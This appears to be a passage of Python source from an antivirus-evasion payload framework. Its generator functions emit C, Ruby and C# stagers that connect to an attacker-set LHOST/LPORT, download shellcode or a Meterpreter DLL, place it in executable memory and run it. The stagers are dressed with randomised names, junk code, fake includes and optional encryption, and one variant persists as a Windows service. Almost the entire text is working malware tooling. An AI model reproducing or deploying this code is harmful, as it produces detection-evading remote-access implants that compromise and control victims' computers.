%s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # build main() code size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() request_buf_name = evasion_helpers.randomString() buf_counter_name = evasion_helpers.randomString() bytes_read_name = evasion_helpers.randomString() # obfuscation stuff char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) # main method code code += "int main(int argc, char * argv[]) {" code += "char * %s; int i;" %(buffer_name) # obfuscation code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) # call the winsock init function code += "%s();" %(winsock_init_name) # obfuscation code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) # create our socket code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) # build and send the HTTP request to the handler code += "char %s[200];" %(request_buf_name) code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name) code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name) code += "Sleep(300);" # TODO: obfuscate/randomize the size of the page allocated code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # read the full server response into the buffer code += "char * %s = %s;" % (buf_counter_name,buffer_name) code += "int %s; do {" % (bytes_read_name) code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name) code += "%s += %s; }" % (buf_counter_name,bytes_read_name) code += "while ( %s > 0 );" % (bytes_read_name) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "closesocket(%s); WSACleanup();" %(my_socket_name) code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "return 0;}\n" self.payload_source_code = code return
def generate(self): payload_code = "require 'rubygems';require 'win32/api';require 'net/http';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": payload_code += 'require \'socket\'\n' payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "def ch()\n" #payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n" #payload_code += "\t32.times do\n" #payload_code += "\t\turi = chk.sample().join()\n" #payload_code += "\t\tchk.sort_by {rand}.each do |x|\n" #payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n" #payload_code += "\t\tend\n" #payload_code += "\tend\n" payload_code += "\treturn \"WEZf\"\n" payload_code += "end\n" payload_code += "def ij(sc)\n" payload_code += "\tif sc.length > 1000\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "uri = URI.encode(\"http://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payload_code += "uri = URI(uri)\n" payload_code += "ij(Net::HTTP.get(uri))\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return
def generate(self): # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) # randomize all our variable names, yo' namespaceName = evasion_helpers.randomString() className = evasion_helpers.randomString() bytearrayName = evasion_helpers.randomString() funcAddrName = evasion_helpers.randomString() hThreadName = evasion_helpers.randomString() threadIdName = evasion_helpers.randomString() pinfoName = evasion_helpers.randomString() rand_bool = evasion_helpers.randomString() random_out = evasion_helpers.randomString() num_tabs_required = 0 # get 12 random variables for the API imports r = [evasion_helpers.randomString() for x in range(16)] y = [evasion_helpers.randomString() for x in range(17)] #required syntax at the beginning of any/all payloads payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" payload_code += "namespace %s { class %s {\n" % (namespaceName, className) if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) payload_code += "static void Main() {\n" payload_code2, num_tabs_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 num_tabs_required += 2 if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, bytearrayName) payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName) payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) # payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heap = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_var = evasion_helpers.randomString() payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (bytearrayName, Shellcode) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) while (num_tabs_required != 0): payload_code += '\t' * num_tabs_required + '}' num_tabs_required -= 1 if self.required_options["USE_ARYA"][0].lower() == "y": payload_code = encryption.arya(payload_code) self.payload_source_code = payload_code return
def generate(self): payload_code = "" payload_code = "require 'rubygems';require 'uri';require 'win32/api';require 'net/https';require 'openssl';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": payload_code += 'require \'socket\'\n' payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "def ch()\n" #payload_code += "\tchk = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n" #payload_code += "\t32.times do\n" #payload_code += "\t\turi = chk.sample(3).join()\n" #payload_code += "\t\tchk.sort_by {rand}.each do |x|\n" #payload_code += "\t\t\treturn(uri + x) if (uri + x).unpack(\"C*\").inject(:+) % 0x100 == 92\n" #payload_code += "\t\tend\n" #payload_code += "\tend\n" payload_code += "\treturn \"WEZf\"\n" payload_code += "end\n" payload_code += "def ij(sc)\n" payload_code += "\tif sc.length > 1000\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "uri = URI.parse(\"https://%s:%s/#{ch()}\")\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) payload_code += "http = Net::HTTP.new(uri.host, uri.port)\n" payload_code += "http.use_ssl = true\n" payload_code += "http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n" payload_code += "request = Net::HTTP::Get.new(uri.request_uri)\n" payload_code += "response = http.request(request)\n" payload_code += "ij(response.body)\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return
def generate(self): winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() recv_all_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>", "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>" ] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100, global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" % (randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" % (randName2)) ] random.shuffle(stringModFunctions) # obsufcation - "logical nop" string generation functions randString1 = evasion_helpers.randomString(50) randName1 = evasion_helpers.randomString() randVar1 = evasion_helpers.randomString() randName2 = evasion_helpers.randomString() randVar2 = evasion_helpers.randomString() randVar3 = evasion_helpers.randomString() randName3 = evasion_helpers.randomString() randVar4 = evasion_helpers.randomString() randVar5 = evasion_helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" % (randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[25])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, evasion_helpers.randomString(50), randVar3, evasion_helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, evasion_helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = [ "#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>" ] for x in range(1, random.randint(1, 7)): includes.append(fake_includes[x]) # obsufcation - shuffle up our real and fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" # real - service related headers (check the stub) hStatusName = evasion_helpers.randomString() serviceHeaders = [ "SERVICE_STATUS ServiceStatus;", "SERVICE_STATUS_HANDLE %s;" % (hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);" ] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) # obsufcation - string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # real - build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % ( wVersionRequested_name, evasion_helpers.obfuscateNum( 2, 4), evasion_helpers.obfuscateNum(2, 4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" % ( wVersionRequested_name, wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # real - build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" % (punt_name, my_socket_name) code += "closesocket(%s);" % (my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # obsufcation - second logical nop string function code += stringGenFunctions[1][1] + "\n" # real - build recv_all function my_socket_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() len_name = evasion_helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" % ( recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" % (buffer_name) code += "while (rcAmwSVM < %s) {" % (len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" % ( my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" % ( punt_name, my_socket_name) # obsufcation - third logical nop string function code += stringGenFunctions[2][1] + "\n" # real - build wsconnect function target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % ( wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" % (my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" % ( my_socket_name, punt_name, my_socket_name) code += "%s = gethostbyname(\"%s\");" % ( target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" % (target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" % ( sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" % (sock_name) code += "%s.sin_port = htons(%s);" % ( sock_name, evasion_helpers.obfuscateNum( int(self.required_options["LPORT"][0]), 32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" % ( my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" % (my_socket_name) # real - main() method for the service code serviceName = evasion_helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" % (serviceName), "ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;", "ServiceTable[1].lpServiceName = NULL;", "ServiceTable[1].lpServiceProc = NULL;" ] random.shuffle(serviceTableEntries) code += "\n".join(serviceTableEntries) code += "StartServiceCtrlDispatcher(ServiceTable);}\n" # real - service status options for us to shuffle serviceStatusOptions = [ "ServiceStatus.dwWin32ExitCode = 0;", "ServiceStatus.dwCurrentState = SERVICE_START_PENDING;", "ServiceStatus.dwWaitHint = 0;", "ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;", "ServiceStatus.dwServiceSpecificExitCode = 0;", "ServiceStatus.dwCheckPoint = 0;", "ServiceStatus.dwServiceType = SERVICE_WIN32;" ] random.shuffle(serviceStatusOptions) # real - serviceMain() code code += "void ServiceMain(int argc, char** argv) {\n" code += "\n".join(serviceStatusOptions) code += "%s = RegisterServiceCtrlHandler( \"%s\", (LPHANDLER_FUNCTION)ControlHandler);" % ( hStatusName, serviceName) code += "if (%s == (SERVICE_STATUS_HANDLE)0) return;" % (hStatusName) code += "ServiceStatus.dwCurrentState = SERVICE_RUNNING;" code += "SetServiceStatus (%s, &ServiceStatus);" % (hStatusName) code += "while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n" # obsufcation - random variable names size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() # obsufcation - necessary declarations char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1, max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1, max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1, max_num_strings) # real - necessary declarations code += "ULONG32 %s;" % (size_name) code += "char * %s;" % (buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" % (function_name) # obsufcation - malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_1, char_array_name_1, random.randint(max_string_length, global_max_string_length)) code += "%s();" % (winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" % (my_socket_name, wsconnect_name) # obsufcation - malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_2, char_array_name_2, random.randint(max_string_length, global_max_string_length)) # real - receive the 4 byte size from the handler code += "int %s = recv(%s, (char *)&%s, %s, 0);" % ( count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4, 2)) # real - punt the socket if something goes wrong code += "if (%s != %s || %s <= 0) %s(%s);" % ( count_name, evasion_helpers.obfuscateNum( 4, 2), size_name, punt_name, my_socket_name) # real - virtual alloc space for the meterpreter .dll code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" % ( buffer_name, size_name, evasion_helpers.obfuscateNum(5, 2)) # obsufcation - declare space for our 3 string obfuscation array code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # obsufcation - first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real - check if the buffer received is null, if so punt the socket code += "if (%s == NULL) %s(%s);" % (buffer_name, punt_name, my_socket_name) # real - prepend some buffer magic to push the socket number onto the stack code += "%s[0] = 0xBF;" % (buffer_name) # real- copy the 4 magic bytes into the buffer code += "memcpy(%s + 1, &%s, %s);" % ( buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4, 2)) # obsufcation - malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" % ( number_of_strings_3, char_array_name_3, random.randint(max_string_length, global_max_string_length)) # obsufcation - second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real - receive all data from the socket code += "%s = %s(%s, %s + %s, %s);" % ( count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5, 2), size_name) code += "%s = (void (*)())%s;" % (function_name, buffer_name) code += "%s();" % (function_name) # obsufcation - third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" % ( number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "} return; }\n" # service control handler code code += """void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (%s, &ServiceStatus); return; default: break; } SetServiceStatus (%s, &ServiceStatus); return; } """ % (hStatusName, hStatusName, hStatusName) self.payload_source_code = code return
def generate(self): payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options[ "DOMAIN"][0] != "X" or self.required_options["USERNAME"][ 0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["HOSTNAME"][ 0] != "X" or self.required_options["DOMAIN"][0] != "X": payload_code += 'require \'socket\'\n' payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n" payload_code += "def g(ip,port)\n" payload_code += "\tbegin\n" payload_code += "\t\ts = TCPSocket.open(ip, port)\n" payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n" payload_code += "\t\tp = \" \"\n" payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n" payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n" payload_code += "\t\tsd = $g_o.call(s.fileno)\n" payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n" payload_code += "\t\treturn p\n" payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n" payload_code += "def ij(sc)\n" payload_code += "\tif sc.length > 1000\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 